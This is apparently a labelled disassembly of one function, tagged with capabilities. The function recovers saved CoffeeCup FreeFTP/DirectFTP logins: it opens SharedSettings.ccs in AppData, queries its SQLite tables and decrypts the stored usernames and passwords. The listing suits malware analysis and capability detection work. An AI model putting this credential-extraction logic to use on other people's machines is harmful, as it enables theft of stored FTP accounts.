Function at 0x423b6b
Capabilities:
Get common file path
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x145c
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x4af]
push esi
push edi
mov esi, 0x3e7
mov byte [ebp - 0x4b0], 0
push esi
push 0
push eax
call fcn.00626f50
push esi
lea eax, [ebp - 0x897]
mov byte [ebp - 0x898], 0
push 0
push eax
call fcn.00626f50
mov esi, str.SharedSettings.ccs
lea edi, [ebp - 0x18]
push ebx
push str._n_Recovering_FreeFTP_DirectFTP_passwords_from_file__s
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00449974
push ebx
call fcn.00631510
add esp, 0x24
cmp eax, 1
jae 0x423c15
lea eax, [ebp - 0x898]
push eax
xor eax, eax
push eax
push eax
push 0x1a
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x423c0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RecoverCoffeeCupPasswords
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
jmp 0x423ed7
lea ebx, [ebp - 0x898]
lea eax, [ebp - 0x18]
push eax
push ebx
push 0x66c218
lea eax, [ebp - 0x4b0]
push 0x3e8
push eax
call fcn.00445d6d
lea eax, [ebp - 0x4b0]
push eax
push str._n_Final_file_path_is____s
call fcn.00449974
xor ebx, ebx
lea eax, [ebp - 0x1458]
push ebx
push 1
push eax
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0x1458], ebx
push eax
mov dword [ebp - 0x1454], ebx
call fcn.0045c0d6
add esp, 0x2c
test eax, eax
je 0x423c8b
push eax
lea eax, [ebp - 0x4b0]
push eax
push str.RecoverCoffeeCupPasswords
push str._s_:_Failed_to_open_the_sqlie_file__s__Error___d
call fcn.00449974
add esp, 0x10
jmp 0x423edf
push 0x12
pop ecx
mov esi, str.SELECT_GlobalValue_FROM_TGlobalSettings_WHERE_GlobalNameMagicNumber_
lea edi, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
push ebx
lea eax, [ebp - 0x1454]
push eax
lea eax, [ebp - 0x64]
movsw word es:[edi], word [esi]
push eax
call fcn.00631510
pop ecx
push eax
lea eax, [ebp - 0x64]
push eax
push dword [ebp - 0x1458]
call fcn.0045c571
add esp, 0x14
test eax, eax
jne 0x423ecc
cmp dword [ebp - 0x1454], ebx
je 0x423ecc
push dword [ebp - 0x1454]
call fcn.0045ccca
pop ecx
cmp eax, 0x64
je 0x423cf4
push eax
push str.RecoverCoffeeCupPasswords
push str._s_:_MagicNumber_not_present_in_TGlobalSettings_table___Error___d
jmp 0x423ed7
push ebx
push dword [ebp - 0x1454]
call fcn.0045ce29
push dword [ebp - 0x1454]
mov esi, eax
call fcn.0045cfda
push esi
push str._n_Found_Magic_Number_d
call fcn.00449974
push 0x64
lea eax, [ebp - 0xc8]
push ebx
push eax
call fcn.00626f50
lea eax, [ebp - 0x145c]
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
call fcn.004071b6
push 6
pop ecx
push 0x3d0
lea eax, [ebp - 0xc68]
mov esi, str.select__from_tservers_
lea edi, [ebp - 0xc80]
push ebx
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00626f50
add esp, 0x38
lea eax, [ebp - 0x1454]
push ebx
push eax
lea eax, [ebp - 0xc80]
push eax
call fcn.00631510
pop ecx
push eax
lea eax, [ebp - 0xc80]
push eax
push dword [ebp - 0x1458]
call fcn.0045c571
add esp, 0x14
test eax, eax
jne 0x423ebf
cmp dword [ebp - 0x1454], ebx
je 0x423ebf
push str._n_Now_reading_all_FTP_logins_from_tservers_table
call fcn.00449974
push dword [ebp - 0x1454]
call fcn.0045ccca
pop ecx
pop ecx
jmp 0x423e99
cmp eax, 0x64
jne 0x423ea2
push 3
push dword [ebp - 0x1454]
mov byte [ebp - 0x1068], bl
mov byte [ebp - 0x1450], bl
call fcn.0045ce99
push 4
push dword [ebp - 0x1454]
mov ebx, eax
call fcn.0045ce99
push 5
push dword [ebp - 0x1454]
mov esi, eax
call fcn.0045ce99
mov edi, eax
push edi
push esi
push ebx
push str.RecoverCoffeeCupPasswords
push str._s___Found_website_s__username_s__enc_password_s
call fcn.00449974
push 0x3e8
lea eax, [ebp - 0x1450]
push eax
push dword [ebp - 0x145c]
lea eax, [ebp - 0xc8]
push eax
push esi
call fcn.00408cd6
add esp, 0x40
lea eax, [ebp - 0x1068]
push 0x3e8
push eax
push dword [ebp - 0x145c]
lea eax, [ebp - 0xc8]
push eax
push edi
call fcn.00408cd6
lea eax, [ebp - 0x1068]
push eax
call fcn.00631510
add esp, 0x18
test eax, eax
je 0x423e8a
push 0xffffffffffffffff
mov esi, 0x66ae5d
lea eax, [ebp - 0x1068]
push esi
push eax
lea eax, [ebp - 0x1450]
push eax
push ebx
push esi
push 0x156
push 4
call fcn.00412c85
add esp, 0x20
push dword [ebp - 0x1454]
call fcn.0045ccca
pop ecx
push 0
pop ebx
cmp eax, 0x65
jne 0x423dbb
push dword [ebp - 0x1454]
call fcn.0045cfda
push dword [ebp - 0x1458]
call fcn.0045b0c9
pop ecx
xor eax, eax
pop ecx
inc eax
jmp 0x423ee1
push eax
push str.RecoverCoffeeCupPasswords
push str._s_:_Failed_to_query_the_tservers_table___Error___d
jmp 0x423ed7
push eax
push str.RecoverCoffeeCupPasswords
push str._s_:_Failed_to_query_the_TGlobalSettings_table___Error___d
call fcn.00449974
add esp, 0xc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret